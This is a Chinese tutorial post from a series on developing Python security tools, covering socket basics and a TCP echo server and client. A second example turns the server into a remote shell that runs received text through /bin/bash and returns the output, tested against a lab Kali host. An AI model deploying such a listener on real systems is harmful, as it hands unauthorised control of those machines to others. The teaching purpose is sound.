python安全工具开发笔记(四)——python网络编程

news2024/12/30 2:46:46

一、C/S架构

什么是C/S架构
C : Client S : Server。客户机和服务器结构。
Server 唯一的目的就是等待Client 的请求,Client 连上 Server 发送必要的数据,然后等待Server端完成请求的反馈。

C/S网络编程
Server端进行设置,首先创建一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,只要创建一个通信端点,建立到服务器的连接,就可以提出请求了。

二、套接字 - 通信端点

套接字是一种具有之前所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字。

Python支持: AF_UNIX,AF_NETLINK和AF_INET,其中AF_INET是基于网络的套接字。

三、Python网络编程

Python网络编程- socket模块

socket模块的socket()函数用来创建套接字

使用socket.socket()函数来创建套接字,方法如下∶
socket(socket family,socket_type,protocol=0)

创建一个TCP/IP套接字,方法如下:
tcpsock = socket(socket.AF INET,socket.SOCK_STREAM)

四、套接字对象方法

服务端套接字函数
函数描述
s.bind()绑定地址(主机,端口)道套接字
s.listen()开始TCP监听
s.accept()被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字函数
函数描述
s.connect()主动初始化TCP服务器连接
s.connect_ex()Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常
套接字对象方法
函数描述
s.recv()接受TCP数据
s.send()发送TCP数据
s.sendall()完整发送TCP数据
s.recvfrom()接受UDP数据
s.sendto()发送UDP数据
s.getpeemame()连接到当前套接字的远端地址
s.getsockname()当前套接字的地址
s.getsockopt()返回指定套接字的参数
s.setsockopt()设置指定套接字的参数
s.close()关闭套接字

五、Python网络编程实例

1、创建一个TCP服务器

ss = socket() #创建服务器套接字
ss.bind() #把地址绑定到套接字上
ss.listen() #监听连接
inf loop; #服务器无限循环
cs = ss.accept() #接受客户端连接
cmmon loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

2、创建一个TCP客户端
cs.socket() #创建客户端套接字
cs.connect() #尝试连接套接字
common loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

示例一:

服务端代码:

#创建服务端
from socket import *
from time import ctime

HOST = ''
PORT = 2333
BUFSIZE = 1024

ADDR = (HOST,PORT)

tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接

#接收客户端发出的请求
while True:
    print ('waiting for connection...')
    tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来
    print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接
    while True:
        data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)
        if not data:
            break#结束循环
        sc = ctime()+data
        tcpClient.send(sc.encode())#输出当前的
        
tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import time

HOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024

ADDR = (HOST,PORT)

tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)

#与服务端交互
while True:
    data = input('~:')
    if not data:
        break
    tcpClient.send(data.encode())#向服务端发送数据
    data = tcpClient.recv(BUFSIZE).decode()
    if not data:
        break
    print (data)
    
tcpClient.close()#客户端关闭

将服务端代码放在kali中运行,将客户端代码放在物理机运行,成功运行
在这里插入图片描述
示例二:
实际应用不会这么简单,如果想反弹一个shell
服务端代码:

#创建服务端
from socket import *
from time import ctime
from subprocess import Popen,PIPE

HOST = ''
PORT = 2333
BUFSIZE = 1024

ADDR = (HOST,PORT)

tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接

#接收客户端发出的请求
while True:
    print ('waiting for connection...')
    tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来
    print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接
    while True:
        data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)
        if not data:
            break#结束循环
        cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
        tcpClient.send(cmd.stdout.read())#输出当前的
        
tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import time

HOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024

ADDR = (HOST,PORT)

tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)

#与服务端交互
while True:
    data = input('~:')
    if not data:
        break
    tcpClient.send(data.encode())#向服务端发送数据
    data = tcpClient.recv(BUFSIZE).decode()
    if not data:
        break
    print (data)
    
tcpClient.close()#客户端关闭

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1033892.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

怎么选择AI伪原创工具-AI伪原创工具有哪些

在数字时代,创作和发布内容已经成为了一种不可或缺的活动。不论您是个人博主、企业家还是网站管理员,都会面临一个共同的挑战:如何在互联网上脱颖而出,吸引更多的读者和访客。而正是在这个背景下,AI伪原创工具逐渐崭露…

ReadPaper论文阅读工具

之前看文献一直用的EndNote嘛,但是突然发现了它的一个弊端,就是说每次没看完退出去之后,下次再接着看的时候它不能保留我上一次的位置信息,又要重头开始翻阅,这让我感到很烦躁哈哈。(当然也不知道是不是我哪…

6条优势,anzo capital昂首资本相信MT5替代MT4的原因

投资者都知道MT5是在MT4基础上升级换代的多资产平台,MT5于2010年6月首次发布。anzo capital昂首资本认为MT5将完全取代MT4,就像MT4取代之前版本一样,因为有以下6条优势: 一.市场深度(DOM)数据。在MT4中,DOM几乎没有用…

GoAccess实时分析Nginx日志

GoAccess 是一个基于终端的实时 Web 日志分析仪。用 C 语言编写,它是快速,互动的,并以优雅而直观的方式显示日志。它提供了各种 Web 日志文件的支持,包括 Apache,Nginx,Caddy,Amazon S3 和 Clou…

c++STL概述

目录 STL基本概念 STL六大组件 STL的优点 STL三大组件 容器 算法 迭代器 普通的迭代器访问vector容器元素 算法for_each实现循环 迭代器指向的元素类型是自定义数据类型 迭代器指向容器 常用容器 string容器 string的基本概念 string容器的操作 string的构造函…

Python函数绘图与高等代数互融实例(六): 条形图|直方图|饼状图

Python函数绘图与高等代数互融实例(一):正弦函数与余弦函数 Python函数绘图与高等代数互融实例(二):闪点函数 Python函数绘图与高等代数互融实例(三):设置X|Y轴|网格线 Python函数绘图与高等代数互融实例(四):设置X|Y轴参考线|参考区域 Python函数绘图与高等代数互融实例(五…

代码随想录刷题 Day 16

104.二叉树的最大深度 class Solution { public:int get_max(TreeNode* root) {if(root NULL) return 0;int left_depth get_max(root->left);int right_depth get_max(root->right);int depth max(left_depth, right_depth) 1;return depth;}int maxDepth(TreeNod…

Kafka的消息传递保证和一致性

前言 通过前面的文章,相信大家对Kafka有了一定的了解了,那接下来问题就来了,Kafka既然作为一个分布式的消息队列系统,那它会不会出现消息丢失或者重复消费的情况呢?今天咱们就来一探。 实现机制 Kafka采用了一系列机…

Node2Vec实战---《悲惨世界》人物图嵌入

1. pip各个包后导入 import networkx as nx # 图数据挖掘 import numpy as np # 数据分析 import random # 随机数# 数据可视化 import matplotlib.pyplot as plt %matplotlib inline plt.rcParams[font.sans-serif][SimHei] # 用来正常显示中文标签 plt.rcParams[axes.uni…

ArtifactResolveException

bug描述 Caused by: org.gradle.api.internal.artifacts.ivyservice.DefaultLenientConfiguration$ArtifactResolveException: Could not resolve all files for configuration :app:debugCompileClasspath. 产生原因 一般可能是更换了新AndroidStudio导致的。依赖库未能成功…

关于Safari浏览器报错:Failed to load resource: 发生SSL错误,无法建立到该服务器的安全连接

报错信息: Failed to load resource: 发生SSL错误,无法建立到该服务器的安全连接 XMLHttpRequest cannot load https://xxxxxxx due to access control checks. 具体如图下: 原因是:页面上的http请求变了https请求 解决办法…

【校招VIP】产品思维创意之活动推广

考点介绍: 对于活动新手来说,策划出一个活动创意不是难事。但是如何把做活动考虑周详,理清运营活动的思路和流程,避免重复工作却是需要沉淀的。运营活动有一个很重要的思路方法,就是倒推。九维这次来和你们讲述倒推的思…

day31多线程01

1.实现多线程 1.1简单了解多线程【理解】 是指从软件或者硬件上实现多个线程并发执行的技术。 具有多线程能力的计算机因有硬件支持而能够在同一时间执行多个线程,提升性能。 1.2并发和并行【理解】 并行:在同一时刻,有多个指令在多个CPU上…

大模型时代,探人工智能发展的新动向

导语 | 今年以来大模型的热度居高不下,人工智能成为国内外各大厂商争相布局的新赛道。那么近期 AI 领域有哪些值得关注的新趋势,它又将为软件开发带来哪些影响呢?今天,我们特邀了微智云科技 CEO、腾讯云 TVP 张虎老师,…

HR人才测评,什么是领导力?如何测评人的领导能力?

什么是领导力? 领导力指的是带领和组织团队,充分利用各种条件和资源,为团队目标而努力。具有卓越领导力的人,即使是在困难的条件下,也能充分利用条件,激励成员,提高团队的效率,朝着…

数据备份文件生成--根据表名生成对应的sql语句文件

最近客户有个需求,希望在后台增加手动备份功能,将数据导出下载保存。 当然,此方法不适用于海量数据的备份,这只适用于少量数据的sql备份。 这是我生成的sql文件,以及sql文件里的insert语句,已亲测&#x…

Software Grand Exposure: SGX Cache Attacks Are Practical【WOOT‘17】

目录 摘要引言我们的目标和贡献贡献新颖的SGX缓存攻击技术非加密应用程序泄漏对策分析 背景Intel SGX缓存结构性能监视计数器 系统和威胁模型对手的能力进攻目标 攻击设计PrimeProbePrimeProbe for SGX挑战 作者:Ferdinand Brasser, Urs M ̈uller, Alexandra Dmitr…

2023 第十二届中国智能产业高峰论坛 - 文档大模型的未来展望

目录 前言文档图像分析识别与理解中的技术挑战 文档图像分析识别与理解的研究主题文档图像分析与预处理文档解析与识别版面分析与还原文档信息抽取与理解AI安全知识化&存储检索和管理 多模态大模型在文档图像处理中的应用多模态的GPT-4在文档图像上的表现多模态的Google Ba…

Spring Security :二【原理解析、会话管理、RBAC中集成认证和授权、JWT】

文章目录 三、原理解析3.1 结构分析3.1 登录认证流程分析3.1.1 **UserDetailsService**3.1.2 自定义UserDetailsService3.1.3 **PasswordEncoder** 3.2 授权流程分析3.2.1 配置方式的原理解析3.2.2 注解方式原理解析 四、会话管理4.1 获取用户身份4.2 会话控制 五、 RBAC中集成…

swoole开发功能的消息队列与异步通信实现原理

随着互联网技术的迅猛发展,开发者对于高性能和高并发的需求也变得越来越迫切。作为一款开发框架,Swoole因其卓越的性能和丰富的功能而受到越来越多开发者的青睐。本文将介绍Swoole中消息队列和异步通信的实现原理,并结合代码示例进行详细说明…